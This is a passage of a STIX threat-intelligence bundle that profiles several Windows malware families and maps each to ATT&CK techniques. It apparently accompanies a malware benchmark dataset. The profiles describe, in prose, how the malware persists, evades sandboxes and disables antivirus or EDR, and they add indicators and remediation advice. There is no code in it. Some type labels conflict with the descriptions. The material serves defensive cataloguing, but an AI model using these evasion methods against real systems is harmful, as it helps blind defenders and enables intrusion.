      "description": "<h3>Executive Summary</h3>\nDicsor is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDicsor is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dicsor operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dicsor ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dicsor receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dicsor infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dicsor executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dicsor frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dicsor",
        "Downloader.Dicsor",
        "Win32/Dicsor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dicsor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dicsor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b4e576e-82ef-52db-8713-c4de90cd696d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67ff5109-e079-5cb4-89a0-6244fb71865a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dicsor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cb4a139-3002-5fdf-aaab-d05b0f956a64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67ff5109-e079-5cb4-89a0-6244fb71865a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dicsor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e053c513-3981-51ee-b62e-885bf531cf8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67ff5109-e079-5cb4-89a0-6244fb71865a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dicsor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--856cd391-63b1-55b5-93ef-760b0dd57bfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dimnie",
      "description": "Dimnie (first discovered in 2014 and thoroughly analyzed by security firms including Palo Alto Networks Unit 42) is an evasive modular infostealer and intelligence-gathering trojan. Operating primarily in memory to avoid writing artifacts to disk, Dimnie features multi-layered encryption and anti-analysis routines that evade debuggers and sandbox hypervisors. Dimnie is equipped with specialized plugins: a memory scraper for harvesting credentials, an audio and screen recording module, a PowerShell execution engine, a keylogger, and network traffic exfiltration modules that disguise outbound stolen data within benign-looking HTTP requests, GitHub commits, or DNS queries. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dimnie",
        "PWS:Win32/Dimnie",
        "Trojan.Dimnie",
        "Dimnie Stealer",
        "Win32/Dimnie"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dimnie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dimnie"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--362f793c-09b7-5670-aff7-87b330d89ccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--856cd391-63b1-55b5-93ef-760b0dd57bfe",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dimnie exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3c00b09-6f24-574a-97e2-240adac11604",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--856cd391-63b1-55b5-93ef-760b0dd57bfe",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dimnie exhibits technique T1620 (Reflective Code Loading (Fileless execution of plugins))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d156ff98-a567-58aa-9a1a-ab9e7498a444",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--856cd391-63b1-55b5-93ef-760b0dd57bfe",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dimnie exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dcba990-7f4c-5d2a-b99e-6a7f5a2a8b94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--856cd391-63b1-55b5-93ef-760b0dd57bfe",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dimnie exhibits technique T1005 (Data from Local System (Source code theft))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d1c99b1-4c99-571d-b02b-deed570734a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--856cd391-63b1-55b5-93ef-760b0dd57bfe",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dimnie exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dinwod",
      "description": "Dinwod (classified by Microsoft Defender and Trend Micro as Trojan:Win32/Dinwod, TrojanDropper:Win32/Dinwod, and Trojan.Win32.DINWOD.B) is an evasive trojan dropper and parasitic file manipulator. Infiltrating target endpoints via drive-by downloads from compromised websites, malicious spam attachments, and pirated software cracks, Dinwod operates primarily as a stealthy loader for secondary threat families including info-stealers, banking trojans, and aggressive adware components. Once executed, Dinwod checks for active sandbox environments and endpoint debugging tools before deploying its embedded payloads into %Temp% or %System32%. It hooks system APIs to tamper with host files, modifies registry run keys under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to secure boot persistence, and establishes covert HTTP outbound connections to remote command-and-control servers to report system reconnaissance telemetry and receive further installation directives. (Observed samples in benchmark: 973)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dinwod!rfn",
        "TrojanDropper:Win32/Dinwod",
        "Trojan.Win32.DINWOD.B",
        "Win32/Dinwod",
        "Dinwod.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dinwod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dinwod"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54a4d0f9-b2e1-58b5-bf34-5a76050726f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87fbaf07-11ec-5c51-b9f7-318812acb86f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9897434e-beab-5d00-849e-5f0339b94605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b839312-2b8f-5705-9e49-7eb5d4589022",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5641f2b-ea91-5b3c-986f-45f0310773f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33a06474-2924-5753-9dc9-0a40d5fab524",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89b74d3c-dbce-5f6b-bdac-ad1f120956e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f97d493-691d-5b0f-ba8d-fdfd38d82e69",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dinwod exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f71d22a8-f9d3-514c-bcbc-d74f8aa6bda2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Directdownloader",
      "description": "Adware:Win32/Directdownloader (often detected as PUA:Win32/Directdownloader) is a prevalent commercial **software bundling framework and adware injection platform**. It is designed to take legitimate freeware and 'wrap' it in a deceptive installer that uses 'Dark Patterns' to trick users into installing multiple aggressive adware payloads, browser hijackers, and potentially unwanted programs (PUAs) alongside the desired software.<br><br><b>Understanding Directdownloader and PPI Networks</b><br>To an end-user, Directdownloader appears as a standard software setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to severely degraded browser performance. The developers of the wrapper operate on a Pay-Per-Install (PPI) model, receiving financial compensation from adware vendors for every successful installation of the bundled junkware on a victim's machine.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Directdownloader is almost exclusively encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the End User License Agreement (EULA), or confusingly worded 'Decline' buttons that actually accept the offer (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (`msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Directdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/directdownloader"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--583b7f0a-7c70-5eff-b24b-abd80351b395",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f71d22a8-f9d3-514c-bcbc-d74f8aa6bda2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Directdownloader exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b399730-89e4-5d0e-9d9b-f1aac2009b45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f71d22a8-f9d3-514c-bcbc-d74f8aa6bda2",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Directdownloader exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63a53a48-306f-520a-bc4a-100f78ace308",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f71d22a8-f9d3-514c-bcbc-d74f8aa6bda2",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Directdownloader exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7c5fc6d-0bfa-52ad-9086-f65194d04a97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f71d22a8-f9d3-514c-bcbc-d74f8aa6bda2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Directdownloader exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0104de8-84f4-5a78-9eb2-df9ec96fbbbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Disabler",
      "description": "Trojan:Win32/Disabler (or generic **Disabler** heuristics) represents a critical class of malware specifically engineered to actively hunt, cripple, and terminate endpoint security software (Antivirus, EDR, Windows Defender) prior to the execution of a primary payload (like ransomware or a rootkit). Disablers act as the vanguard of a sophisticated attack, 'clearing the path' so the subsequent malware can operate undetected.<br><br><b>Understanding Disabler Malware</b><br>To an end-user, the infection might manifest as a sudden, unexplained red 'X' on their antivirus icon, or a failure to open the Windows Security Center. For a security analyst, a Disabler alert is an emergency. If a Disabler successfully executes, the endpoint is completely blind and defenseless. Modern ransomware (like LockBit or Conti) heavily relies on custom Disabler modules (often leveraging BYOVD - Bring Your Own Vulnerable Driver techniques) to bypass enterprise EDR.<br><br><b>Execution and Impairment Mechanics</b><br>A Disabler is typically dropped by an Initial Access Broker trojan (`T1105`). Upon execution (`T1204.002`), it attempts to escalate privileges to `SYSTEM`. Once achieved, it employs multiple techniques to blind the endpoint (`T1562.001`). It will forcefully terminate the processes of known security vendors (e.g., `MsMpEng.exe` for Defender). It modifies the Windows Registry to disable real-time protection, tamper protection, and cloud-delivered protection. Advanced Disablers will load a vulnerable, signed driver (BYOVD) to gain kernel-level (`Ring 0`) access, allowing them to forcefully unload the kernel-mode drivers used by EDR solutions to monitor process creation and memory injection.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the complete loss of endpoint visibility and protection, almost always followed immediately by a severe compromise. The primary IoC is an avalanche of EDR 'Tamper Protection' alerts, followed by the EDR sensor suddenly dropping offline. System logs (`Event ID 7036`) will show the unexpected termination of the Antivirus service. Analysts should look for the dropping of unexpected `.sys` files (drivers) in the `C:\\Windows\\System32\\drivers` directory. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Disabler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/disabler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1387999c-03d1-57f4-9782-4c00078dbda1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0104de8-84f4-5a78-9eb2-df9ec96fbbbb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disabler exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating AV/EDR))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e43746c-6e0f-5d2d-af46-2b766e193368",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0104de8-84f4-5a78-9eb2-df9ec96fbbbb",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disabler exhibits technique T1068 (Exploitation for Privilege Escalation (BYOVD Attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e45e5996-7878-5f19-9219-a0101d4e1d6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0104de8-84f4-5a78-9eb2-df9ec96fbbbb",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disabler exhibits technique T1112 (Modify Registry (Disabling Defender settings via Policy))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eb68887-55ec-5c34-8b2b-ccf026e24630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0104de8-84f4-5a78-9eb2-df9ec96fbbbb",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disabler exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fdd550d3-e9de-5ebd-9caf-2d16f4ddabe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Disfa",
      "description": "Disfa (cataloged in antivirus telemetry as Trojan:Win32/Disfa, Trojan.MSIL.Disfa, and recognized as a variant of the Bladabindi / njRAT malware family) is a .NET-based remote access trojan (RAT) and information stealer discovered in circulation around 2013. Developed in Microsoft Intermediate Language (MSIL), Disfa allows threat actors to establish complete remote control over compromised Windows endpoints through encrypted reverse TCP connections. Upon execution, Disfa copies its payload into %APPDATA%, creates autostart registry entries under the Windows Run key, and establishes API hooks to capture user keystrokes, clipboard contents, and stored web browser credentials. In addition to info-stealing capabilities, Disfa features modular remote administration functions, including live webcam and microphone surveillance, remote desktop viewing, command shell execution, registry manipulation, and the capability to download and execute secondary malware payloads. (Observed samples in benchmark: 238)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Disfa",
        "Trojan.MSIL.Disfa",
        "Backdoor:MSIL/Bladabindi",
        "Disfa.RAT",
        "Win32/Disfa"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Disfa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/disfa"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01369a50-66aa-5cc9-bbe8-2694730f235b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdd550d3-e9de-5ebd-9caf-2d16f4ddabe7",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disfa exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99f0df81-1027-5277-868f-7227a7ed901a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdd550d3-e9de-5ebd-9caf-2d16f4ddabe7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disfa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d644872-2ea0-5f33-992a-c528c833e3bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdd550d3-e9de-5ebd-9caf-2d16f4ddabe7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disfa exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aba9a240-7a67-555c-8f9c-6279914d2bec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdd550d3-e9de-5ebd-9caf-2d16f4ddabe7",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disfa exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be776ed2-b611-50f9-8a47-17346492cc62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fdd550d3-e9de-5ebd-9caf-2d16f4ddabe7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Disfa exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e2080a33-7411-5f1a-9a68-c96fcc94e4c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dishigy",
      "description": "Trojan:Win32/Dishigy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dishigy</b><br>To an end-user, a Dishigy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dishigy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dishigy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dishigy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dishigy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
